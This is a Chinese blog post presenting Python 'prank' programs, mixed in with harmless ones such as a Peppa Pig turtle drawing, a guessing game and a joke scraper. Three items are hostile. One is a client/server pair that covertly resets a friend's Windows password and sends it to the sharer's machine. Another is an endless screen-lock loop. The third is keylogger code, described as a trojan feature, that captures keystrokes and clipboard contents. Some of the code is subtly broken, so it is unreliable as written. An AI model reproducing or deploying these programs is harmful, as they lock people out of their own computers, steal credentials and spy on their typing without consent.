分享幾款由“Python”語言編寫的“有趣、惡搞、好玩”的程序代碼
為提高大家對“Python”編程語言的學(xué)習(xí)興趣,今天給大家分享幾款有趣的Python程序代碼,感興趣的小伙伴可以跟著學(xué)習(xí)借鑒哦!
分享一:"啥是佩奇?"讓Python語言告訴你
用Python代碼創(chuàng)作一副佩奇:
- # coding:utf-8
- import turtle as t
- t.pensize(4)
- t.hideturtle()
- t.colormode(255)
- t.color((255,155,192),"pink")
- t.setup(840,500)
- t.speed(10)
- #鼻子
- t.pu()
- t.goto(-100,100)
- t.pd()
- t.seth(-30)
- t.begin_fill()
- a=0.4
- for i in range(120):
- if 0<=i<30 or 60<=i<90:
- aa=a+0.08
- t.lt(3) #向左轉(zhuǎn)3度
- t.fd(a) #向前走a的步長
- else:
- aa=a-0.08
- t.lt(3)
- t.fd(a)
- t.end_fill()
- t.pu()
- t.seth(90)
- t.fd(25)
- t.seth(0)
- t.fd(10)
- t.pd()
- t.pencolor(255,155,192)
- t.seth(10)
- t.begin_fill()
- t.circle(5)
- t.color(160,82,45)
- t.end_fill()
- t.pu()
- t.seth(0)
- t.fd(20)
- t.pd()
- t.pencolor(255,155,192)
- t.seth(10)
- t.begin_fill()
- t.circle(5)
- t.color(160,82,45)
- t.end_fill()
- #頭
- t.color((255,155,192),"pink")
- t.pu()
- t.seth(90)
- t.fd(41)
- t.seth(0)
- t.fd(0)
- t.pd()
- t.begin_fill()
- t.seth(180)
- t.circle(300,-30)
- t.circle(100,-60)
- t.circle(80,-100)
- t.circle(150,-20)
- t.circle(60,-95)
- t.seth(161)
- t.circle(-300,15)
- t.pu()
- t.goto(-100,100)
- t.pd()
- t.seth(-30)
- a=0.4
- for i in range(60):
- if 0<=i<30 or 60<=i<90:
- aa=a+0.08
- t.lt(3) #向左轉(zhuǎn)3度
- t.fd(a) #向前走a的步長
- else:
- aa=a-0.08
- t.lt(3)
- t.fd(a)
- t.end_fill()
- #耳朵
- t.color((255,155,192),"pink")
- t.pu()
- t.seth(90)
- t.fd(-7)
- t.seth(0)
- t.fd(70)
- t.pd()
- t.begin_fill()
- t.seth(100)
- t.circle(-50,50)
- t.circle(-10,120)
- t.circle(-50,54)
- t.end_fill()
- t.pu()
- t.seth(90)
- t.fd(-12)
- t.seth(0)
- t.fd(30)
- t.pd()
- t.begin_fill()
- t.seth(100)
- t.circle(-50,50)
- t.circle(-10,120)
- t.circle(-50,56)
- t.end_fill()
- #眼睛
- t.color((255,155,192),"white")
- t.pu()
- t.seth(90)
- t.fd(-20)
- t.seth(0)
- t.fd(-95)
- t.pd()
- t.begin_fill()
- t.circle(15)
- t.end_fill()
- t.color("black")
- t.pu()
- t.seth(90)
- t.fd(12)
- t.seth(0)
- t.fd(-3)
- t.pd()
- t.begin_fill()
- t.circle(3)
- t.end_fill()
- t.color((255,155,192),"white")
- t.pu()
- t.seth(90)
- t.fd(-25)
- t.seth(0)
- t.fd(40)
- t.pd()
- t.begin_fill()
- t.circle(15)
- t.end_fill()
- t.color("black")
- t.pu()
- t.seth(90)
- t.fd(12)
- t.seth(0)
- t.fd(-3)
- t.pd()
- t.begin_fill()
- t.circle(3)
- t.end_fill()
- #腮
- t.color((255,155,192))
- t.pu()
- t.seth(90)
- t.fd(-95)
- t.seth(0)
- t.fd(65)
- t.pd()
- t.begin_fill()
- t.circle(30)
- t.end_fill()
- #嘴
- t.color(239,69,19)
- t.pu()
- t.seth(90)
- t.fd(15)
- t.seth(0)
- t.fd(-100)
- t.pd()
- t.seth(-80)
- t.circle(30,40)
- t.circle(40,80)
- #身體
- t.color("red",(255,99,71))
- t.pu()
- t.seth(90)
- t.fd(-20)
- t.seth(0)
- t.fd(-78)
- t.pd()
- t.begin_fill()
- t.seth(-130)
- t.circle(100,10)
- t.circle(300,30)
- t.seth(0)
- t.fd(230)
- t.seth(90)
- t.circle(300,30)
- t.circle(100,3)
- t.color((255,155,192),(255,100,100))
- t.seth(-135)
- t.circle(-80,63)
- t.circle(-150,24)
- t.end_fill()
- #手
- t.color((255,155,192))
- t.pu()
- t.seth(90)
- t.fd(-40)
- t.seth(0)
- t.fd(-27)
- t.pd()
- t.seth(-160)
- t.circle(300,15)
- t.pu()
- t.seth(90)
- t.fd(15)
- t.seth(0)
- t.fd(0)
- t.pd()
- t.seth(-10)
- t.circle(-20,90)
- t.pu()
- t.seth(90)
- t.fd(30)
- t.seth(0)
- t.fd(237)
- t.pd()
- t.seth(-20)
- t.circle(-300,15)
- t.pu()
- t.seth(90)
- t.fd(20)
- t.seth(0)
- t.fd(0)
- t.pd()
- t.seth(-170)
- t.circle(20,90)
- #腳
- t.pensize(10)
- t.color((240,128,128))
- t.pu()
- t.seth(90)
- t.fd(-75)
- t.seth(0)
- t.fd(-180)
- t.pd()
- t.seth(-90)
- t.fd(40)
- t.seth(-180)
- t.color("black")
- t.pensize(15)
- t.fd(20)
- t.pensize(10)
- t.color((240,128,128))
- t.pu()
- t.seth(90)
- t.fd(40)
- t.seth(0)
- t.fd(90)
- t.pd()
- t.seth(-90)
- t.fd(40)
- t.seth(-180)
- t.color("black")
- t.pensize(15)
- t.fd(20)
- #尾巴
- t.pensize(4)
- t.color((255,155,192))
- t.pu()
- t.seth(90)
- t.fd(70)
- t.seth(0)
- t.fd(95)
- t.pd()
- t.seth(0)
- t.circle(70,20)
- t.circle(10,330)
- t.circle(70,30)
- t.done()
效果圖如下:
分享二:一個(gè)可以套路別人的python小程序
程序是使用pycharm工具,python語言所寫。程序包括客戶端 client.py 和服務(wù)器端 server.py 兩部分,利用了python中的socket包。
使用方法:
首先,你需要你和你的朋友在同一個(gè)局域網(wǎng)內(nèi),然后在你的主機(jī)上,運(yùn)行服務(wù)器端 server.py。
然后,讓你的朋友在他的電腦上運(yùn)行客戶端 client.py。
此時(shí)你朋友電腦的windows用戶密碼,就會(huì)變成一個(gè)隨機(jī)密碼,且這個(gè)生成的隨機(jī)密碼他本人無法得知,而是把這個(gè)密碼通過socket傳給了服務(wù)器端的你。
嗯,然后你朋友的電腦密碼就只有你自己知道了~
上代碼:
- # client.py:
- import socket
- import getpass
- import subprocess
- import random
- phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- phone.connect(('172.17.21.56', 8080))
- user = getpass.getuser()
- psd = ''
- for j in range(1, 9):
- m = str(random.randrange(0, 10))
- psdpsd = psd + m
- subprocess.Popen(['net', 'User', user, psd])
- phone.send(psd.encode('utf-8'))
- back_msg = phone.recv(1024)
- phone.close()
- # server.py
- import socket
- phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- phone.bind(('172.17.21.56', 8080))
- phone.listen(5)
- print('starting....')
- conn, addr = phone.accept()
- print(conn)
- print('client addr', addr)
- print('ready to read msg')
- client_msg = conn.recv(1024)
- print('client msg: %s' % client_msg)
- conn.send(client_msg.upper())
- conn.close()
- phone.close()
分享三:一段Python 惡搞代碼
代碼運(yùn)行后windows將無限鎖屏
代碼如下:
- from ctypes import *
- while True:
- user32 = windll.LoadLibrary('user32.dll')
- user32.LockWorkStation()
分享四:一款python代碼的數(shù)字猜謎小游戲
代碼如下:
- import random
- rang1 = int(input("請?jiān)O(shè)置本局游戲的最小值:"))
- rang2 = int(input("請?jiān)O(shè)置本局游戲的最大值:"))
- num = random.randint(rang1,rang2)
- guess = "guess"
- print("數(shù)字猜謎游戲!")
- i = 0
- while guess != num:
- i += 1
- guess = int(input("請輸入你猜的數(shù)字:"))
- if guess == num:
- print("恭喜,你猜對了!")
- elif guess < num:
- print("你猜的數(shù)小了...")
- else:
- print("你猜的數(shù)大了...")
- print("你總共猜了%d" %i + "次",end = '')
- print(",快和你朋友較量一下...")
分享五:一段好玩的Python爬蟲代碼
這幾年網(wǎng)絡(luò)爬蟲很火,用Python語言實(shí)現(xiàn)網(wǎng)絡(luò)爬蟲最合適不過了,接下來分享一段好玩的爬蟲代碼:
- # -*- coding: utf-8 -*-
- import urllib2
- import re
- class QSBK:
- def __init__(self):
- self.pageIndex = 1
- self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64)'
- self.headers = {'User-Agent': self.user_agent}
- self.stories = []
- # 存放程序是否繼續(xù)運(yùn)行的變量
- self.enable = False
- # 傳入某一頁的索引獲得頁面代碼
- def getPage(self, pageIndex):
- try:
- url = 'http://www.qiushibaike.com/hot/page/' + str(pageIndex)
- request = urllib2.Request(url, headers = self.headers)
- response = urllib2.urlopen(request)
- pageCode = response.read().decode('utf-8')
- return pageCode
- except urllib2.URLError, e:
- if hasattr(e, "reason"):
- print u"連接糗事百科失敗,錯(cuò)誤原因", e.reason
- return None
- # 傳入某一頁代碼,返回本頁不帶圖片的段子列表
- def getPageItems(self, pageIndex):
- pageCode = self.getPage(pageIndex)
- if not pageCode:
- print "頁面加載失敗。。。"
- return None
- pattern = re.compile('<div class="author clearfix">.*?<h2>(.*?)</h2>.*?"content">(.*?)</div>.*?number">(.*?)</.*?number">(.*?)</.',re.S)
- items = re.findall(pattern, pageCode)
- pageStories = []
- for item in items:
- rereplaceBR = re.compile('<br/>')
- text = re.sub(replaceBR,"
- ",item[1])
- pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()])
- return pageStories
- # 加載并提取頁面內(nèi)容,加入到列表中
- def loadPage(self):
- if self.enable == True:
- if len(self.stories) < 2:
- pageStories = self.getPageItems(self.pageIndex)
- if pageStories:
- self.stories.append(pageStories)
- self.pageIndex += 1
- # 調(diào)用該方法,回車打印一個(gè)段子
- def getOneStory(self, pageStories, page):
- for story in pageStories:
- input = raw_input()
- self.loadPage()
- if input == "Q":
- self.enable = False
- return
- print u"第%d頁 發(fā)布人:%s 贊:%s 評論:%s
- %s" %(page,story[0],story[2],story[3],story[1])
- def start(self):
- print u"正在讀取糗事百科,按回車查看新段子,Q退出"
- self.enable = True
- self.loadPage()
- nowPage = 0
- while self.enable:
- if len(self.stories) > 0:
- pageStories = self.stories[0]
- nowPage += 1
- del self.stories[0]
- self.getOneStory(pageStories, nowPage)
- spider = QSBK()
- spider.start()
分享六、木馬程序常用的鍵盤記錄功能實(shí)現(xiàn)
Python keylogger鍵盤記錄的功能的實(shí)現(xiàn)主要利用了pythoncom及pythonhook,然后就是對windows API的各種調(diào)用。Python之所以用起來方便快捷,主要?dú)w功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。
代碼如下:
- # -*- coding: utf-8 -*-
- from ctypes import *
- import pythoncom
- import pyHook
- import win32clipboard
- user32 = windll.user32
- kernel32 = windll.kernel32
- psapi = windll.psapi
- current_window = None
- #
- def get_current_process():
- # 獲取最上層的窗口句柄
- hwnd = user32.GetForegroundWindow()
- # 獲取進(jìn)程ID
- pid = c_ulong(0)
- user32.GetWindowThreadProcessId(hwnd,byref(pid))
- # 將進(jìn)程ID存入變量中
- process_id = "%d" % pid.value
- # 申請內(nèi)存
- executable = create_string_buffer("\x00"*512)
- h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
- psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
- # 讀取窗口標(biāo)題
- windows_title = create_string_buffer("\x00"*512)
- length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
- # 打印
- print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
- # 關(guān)閉handles
- kernel32.CloseHandle(hwnd)
- kernel32.CloseHandle(h_process)
- # 定義擊鍵監(jiān)聽事件函數(shù)
- def KeyStroke(event):
- global current_window
- # 檢測目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽新的窗口)
- if event.WindowName != current_window:
- current_window = event.WindowName
- # 函數(shù)調(diào)用
- get_current_process()
- # 檢測擊鍵是否常規(guī)按鍵(非組合鍵等)
- if event.Ascii > 32 and event.Ascii <127:
- print chr(event.Ascii),
- else:
- # 如果發(fā)現(xiàn)Ctrl+v(粘貼)事件,就把粘貼板內(nèi)容記錄下來
- if event.Key == "V":
- win32clipboard.OpenClipboard()
- pasted_value = win32clipboard.GetClipboardData()
- win32clipboard.CloseClipboard()
- print "[PASTE]-%s" % (pasted_value),
- else:
- print "[%s]" % event.Key,
- # 循環(huán)監(jiān)聽下一個(gè)擊鍵事件
- return True
- # 創(chuàng)建并注冊hook管理器
- kl = pyHook.HookManager()
- kl.KeyDown = KeyStroke
- # 注冊hook并執(zhí)行
- kl.HookKeyboard()
- pythoncom.PumpMessages()
分享七:用Python寫一個(gè)機(jī)器人陪自己聊聊天吧
用Python寫一個(gè)機(jī)器人陪自己聊聊天吧。是不是聽起來就很酷,用Python語言、itchat庫、圖靈機(jī)器人就可以輕松實(shí)現(xiàn)。
1. 需要的工具
- Python。寫代碼的工具;
- itchat庫。第三方庫,用來登錄微信,接收并回復(fù)微信好友信息;
- 圖靈機(jī)器人。第三方接口,我們本次使用的機(jī)器人;
2. 代碼如下:
(1) 準(zhǔn)備
導(dǎo)入需要使用的第三方庫
(2) 獲取來自機(jī)器人的回復(fù)信息
在這里,調(diào)用圖靈機(jī)器人庫,把我們接收到的微信好友信息發(fā)給圖靈機(jī)器人,再取回機(jī)器人回復(fù)的信息,回復(fù)給好友。
這里要用到圖靈機(jī)器人的接口,到圖靈機(jī)器人官網(wǎng)(http://www.tuling123.com)注冊登陸之后,生成一個(gè)屬于個(gè)人的免費(fèi)接口,免費(fèi)接口一天只能用1000條,雖然不多,但娛樂一下自己也是足夠的了。
創(chuàng)建機(jī)器人成功之后會(huì)得到apikey,把這串密碼放到代碼中的"key"里,這一步就完成了。
(3) 接受來自好友之間的對話信息
(4) 接受來自微信群里面的對話信息
如果不需要機(jī)器人在群聊里聊天,可以刪除這塊代碼。
(5) 運(yùn)行
最后一步,登錄微信,并運(yùn)行機(jī)器人。